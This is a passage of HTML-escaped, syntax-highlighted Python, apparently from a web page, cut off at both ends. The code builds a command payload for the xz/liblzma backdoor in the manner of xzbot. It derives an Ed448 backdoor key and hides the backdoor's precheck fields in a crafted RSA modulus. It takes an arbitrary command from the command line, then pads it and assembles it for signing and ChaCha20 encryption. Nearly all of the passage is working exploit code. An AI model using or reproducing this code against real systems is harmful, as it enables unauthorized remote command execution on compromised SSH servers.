class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;</code> </td></tr><tr><td class="linenos">56</td><td> </td></tr><tr><td class="linenos">57</td><td> <code> &lt;span class="pgcssc1"&gt;# compute chinese remainder theorem values&lt;/span&gt;</code> </td></tr><tr><td class="linenos">58</td><td> <code> &lt;span class="pgcssn"&gt;dmp1&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;dmq1&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;d&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;x&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;)),&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">59</td><td> <code> &lt;span class="pgcssn"&gt;iqmp&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;invert&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">60</td><td> </td></tr><tr><td class="linenos">61</td><td> <code> &lt;span class="pgcssc1"&gt;# build the key from parameters&lt;/span&gt;</code> </td></tr><tr><td class="linenos">62</td><td> <code> &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;d&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;d&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">63</td><td> <code> &lt;span class="pgcssn"&gt;pub_params&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;RSAPublicNumbers&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">64</td><td> <code> &lt;span class="pgcssn"&gt;prv_params&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;RSAPrivateNumbers&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;d&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;dmp1&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;dmq1&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;iqmp&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;pub_params&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">65</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;prv_params&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;private_key&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">66</td><td> </td></tr><tr><td class="linenos">67</td><td> <code>&lt;span class="pgcssc1"&gt;# pem format unencrypted private key&lt;/span&gt;</code> </td></tr><tr><td class="linenos">68</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;pem_private&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;k&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">69</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;k&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;private_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;</code> </td></tr><tr><td class="linenos">70</td><td> <code> &lt;span class="pgcssn"&gt;Encoding&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;PEM&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;PrivateFormat&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;TraditionalOpenSSL&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;NoEncryption&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">71</td><td> <code> &lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;decode&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;strip&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">72</td><td> </td></tr><tr><td class="linenos">73</td><td> <code>&lt;span class="pgcssc1"&gt;# generate key in the same way https://github.com/amlweems/xzbot does&lt;/span&gt;</code> </td></tr><tr><td class="linenos">74</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;ed448_from_n&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">75</td><td> <code> &lt;span class="pgcssn"&gt;seed&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;57&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;byteorder&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;big&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">76</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;Ed448PrivateKey&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;from_private_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;seed&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">77</td><td> </td></tr><tr><td class="linenos">78</td><td> <code>&lt;span class="pgcssc1"&gt;# encrypt/decrypt with raw ChaCha20&lt;/span&gt;</code> </td></tr><tr><td class="linenos">79</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;chacha20&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;data&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;key&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;nonce&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">80</td><td> <code> &lt;span class="pgcssn"&gt;cipher&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;Cipher&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;ChaCha20&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;key&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;nonce&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssn"&gt;mode&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsskc"&gt;None&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">81</td><td> <code> &lt;span class="pgcssn"&gt;cryptor&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;cipher&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;encryptor&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">82</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;cryptor&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;update&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;data&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">83</td><td> </td></tr><tr><td class="linenos">84</td><td> <code>&lt;span class="pgcssc1"&gt;# process server private key&lt;/span&gt;</code> </td></tr><tr><td class="linenos">85</td><td> <code>&lt;span class="pgcssn"&gt;srv_pub_type&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;encode&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">86</td><td> <code>&lt;span class="pgcssn"&gt;srv_pub_type&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;srv_pub_type&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;4&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;big&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;srv_pub_type&lt;/span&gt;</code> </td></tr><tr><td class="linenos">87</td><td> <code>&lt;span class="pgcssn"&gt;srv_pub_body&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;b64d&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">88</td><td> <code>&lt;span class="pgcssn"&gt;srv_pub_hash&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;sha256&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;srv_pub_type&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;srv_pub_body&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;digest&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">89</td><td> </td></tr><tr><td class="linenos">90</td><td> <code>&lt;span class="pgcssc1"&gt;# generate backdoor key&lt;/span&gt;</code> </td></tr><tr><td class="linenos">91</td><td> <code>&lt;span class="pgcssn"&gt;prv_key&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;ed448_from_n&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;]))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">92</td><td> <code>&lt;span class="pgcssn"&gt;pub_key&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;prv_key&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;public_key&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;public_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;Encoding&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;Raw&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;PublicFormat&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;Raw&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">93</td><td> <code>&lt;span class="pgcssn"&gt;sym_key&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;pub_key&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssmi"&gt;32&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">94</td><td> </td></tr><tr><td class="linenos">95</td><td> <code>&lt;span class="pgcssc1"&gt;# command is null terminated&lt;/span&gt;</code> </td></tr><tr><td class="linenos">96</td><td> <code>&lt;span class="pgcssn"&gt;command&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;4&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;encode&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\0&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">97</td><td> <code>&lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;command&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;64&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">98</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;command too long, should not exceed 64 characters&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;file&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;stderr&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">99</td><td> <code> &lt;span class="pgcssn"&gt;exit&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">100</td><td> </td></tr><tr><td class="linenos">101</td><td> <code>&lt;span class="pgcssc1"&gt;# command needs to be at least five bytes for signing, pad as required&lt;/span&gt;</code> </td></tr><tr><td class="linenos">102</td><td> <code>&lt;span class="pgcssk"&gt;while&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;command&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;lt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;5&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;command&lt;/span&gt; &lt;span class="pgcsso"&gt;+=&lt;/span&gt; &lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\0&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">103</td><td> </td></tr><tr><td class="linenos">104</td><td> <code>&lt;span class="pgcssc1"&gt;# the first few bytes of an rsa modulus probably aren&amp;#39;t uniformly distributed,&lt;/span&gt;</code> </td></tr><tr><td class="linenos">105</td><td> <code>&lt;span class="pgcssc1"&gt;# so start off with an N value from a normally generated key&lt;/span&gt;</code> </td></tr><tr><td class="linenos">106</td><td> <code>&lt;span class="pgcssn"&gt;rsa&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;rsa_generate&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;RSA_E&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA_BITS&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">107</td><td> <code>&lt;span class="pgcssn"&gt;n&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;private_numbers&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;public_numbers&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;</code> </td></tr><tr><td class="linenos">108</td><td> <code>&lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;int_to_bytearray&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">109</td><td> </td></tr><tr><td class="linenos">110</td><td> <code>&lt;span class="pgcssc1"&gt;# xz backdoor precheck fields&lt;/span&gt;</code> </td></tr><tr><td class="linenos">111</td><td> <code>&lt;span class="pgcssn"&gt;cmd1&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;cmd2&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;unpack_from&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&amp;lt;LL&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">112</td><td> <code>&lt;span class="pgcssn"&gt;cmd3&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;((&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcsso"&gt;**&lt;/span&gt;&lt;span class="pgcssmi"&gt;64&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;COMMAND&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssn"&gt;cmd1&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt; &lt;span class="pgcssn"&gt;cmd2&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcsso"&gt;**&lt;/span&gt;&lt;span class="pgcssmi"&gt;64&lt;/span&gt;</code> </td></tr><tr><td class="linenos">113</td><td> <code>&lt;span class="pgcssn"&gt;pack_into&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&amp;lt;Q&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;8&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;cmd3&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">114</td><td> </td></tr><tr><td class="linenos">115</td><td> <code>&lt;span class="pgcssc1"&gt;# build payload&lt;/span&gt;</code> </td></tr><tr><td class="linenos">116</td><td> <code>&lt;span class="pgcssn"&gt;hdr_magic&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\2\0\0\0&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">117</td><td> <code>&lt;span class="pgcssn"&gt;hdr_flags&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\0\0\0\0&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">118</td><td> <code>&lt;span class="pgcssn"&gt;hdr_ukwn1&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\0&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">119</td><td> <code>&lt;span class="pgcssn"&gt;hdr_cslen&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;([&lt;/span&gt;&lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;command&lt;/span&gt;&lt;span class="pgcssp"&gt;)])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">120</td><td> <code>&lt;span class="pgcssn"&gt;hdr_ukwn2&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\0&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">121</td><td> <code>&lt;span class="pgcssn"&gt;header&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;hdr_magic&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;hdr_flags&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;hdr_ukwn1&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;hdr_cslen&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;hdr_ukwn2&lt;/span&gt;</code> </td></tr><tr><td class="linenos">122</td><td> <code>&lt;span class="pgcssn"&gt;to_sign&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;header&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;command&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span 